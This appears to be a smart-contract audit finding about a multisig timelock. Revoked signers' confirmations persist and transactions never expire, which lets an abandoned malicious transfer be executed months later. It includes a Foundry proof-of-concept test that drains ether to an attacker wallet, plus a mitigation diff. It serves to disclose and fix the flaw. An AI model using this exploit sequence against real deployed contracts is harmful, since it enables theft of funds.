Root + Impact
Description
-
When a signer is revoked via revokeSigningRole(), their existing confirmations persist in s_signatures and continue counting toward the quorum.
-
Combined with no transaction expiration, a "zombie" confirmation from a revoked signer can be leveraged later to execute an abandoned malicious transaction.
function revokeSigningRole(address _account) external nonReentrant onlyOwner noneZeroAddress(_account) {
s_signers[s_signerCount - 1] = address(0);
s_signerCount -= 1;
s_isSigner[_account] = false;
_revokeRole(SIGNING_ROLE, _account);
@>
@>
}
struct Transaction {
@> uint256 confirmations;
}
Risk
Likelihood (Low - requires multiple conditions):
-
Reason 1 // Malicious transaction proposed and partially confirmed before compromise detection
-
Reason 2 // Compromised signer revoked but transaction remains pending (no cancel function)
-
Reason 3 // Social engineering needed to obtain remaining confirmations months later
Impact: (High)
Proof of Concept
Simulates a multi-phase attack: compromise detection, signer revocation, time passage, and eventual exploitation when the dormant transaction is forgotten.
function test_ZombieSignerDelayedExecution() public grantSigningRoles {
address ATTACKER_WALLET = makeAddr("attacker_wallet");
vm.deal(address(multiSigTimelock), 50 ether);
uint256 maliciousTxnId = multiSigTimelock.proposeTransaction(
ATTACKER_WALLET,
0.5 ether,
""
);
vm.prank(SIGNER_TWO);
multiSigTimelock.confirmTransaction(maliciousTxnId);
assertEq(multiSigTimelock.getTransaction(maliciousTxnId).confirmations, 1);
multiSigTimelock.revokeSigningRole(SIGNER_TWO);
assertFalse(multiSigTimelock.hasRole(multiSigTimelock.getSigningRole(), SIGNER_TWO));
assertEq(multiSigTimelock.getTransaction(maliciousTxnId).confirmations, 1);
address NEW_SIGNER = makeAddr("new_signer");
multiSigTimelock.grantSigningRole(NEW_SIGNER);
vm.warp(block.timestamp + 180 days);
vm.prank(SIGNER_THREE);
multiSigTimelock.confirmTransaction(maliciousTxnId);
vm.prank(SIGNER_FOUR);
multiSigTimelock.confirmTransaction(maliciousTxnId);
assertEq(multiSigTimelock.getTransaction(maliciousTxnId).confirmations, 3);
uint256 attackerBalanceBefore = ATTACKER_WALLET.balance;
vm.prank(SIGNER_THREE);
multiSigTimelock.executeTransaction(maliciousTxnId);
assertEq(ATTACKER_WALLET.balance - attackerBalanceBefore, 0.5 ether);
}
Recommended Mitigation
Implement confirmation invalidation when revoking signers, and add transaction expiration:
+ error MultiSigTimelock__TransactionExpired();
+ uint256 private constant TRANSACTION_VALIDITY_PERIOD = 30 days;
function revokeSigningRole(address _account) external nonReentrant onlyOwner noneZeroAddress(_account) {
// ... existing checks ...
+ // Invalidate all confirmations from revoked signer
+ for (uint256 i = 0; i < s_transactionCount; i++) {
+ if (!s_transactions[i].executed && s_signatures[i][_account]) {
+ s_signatures[i][_account] = false;
+ s_transactions[i].confirmations--;
+ }
+ }
// ... rest of revocation logic ...
}
function _executeTransaction(uint256 txnId) internal {
Transaction storage txn = s_transactions[txnId];
+ // Check expiration
+ if (block.timestamp > txn.proposedAt + TRANSACTION_VALIDITY_PERIOD) {
+ revert MultiSigTimelock__TransactionExpired();
+ }
// ... rest of execution logic ...
}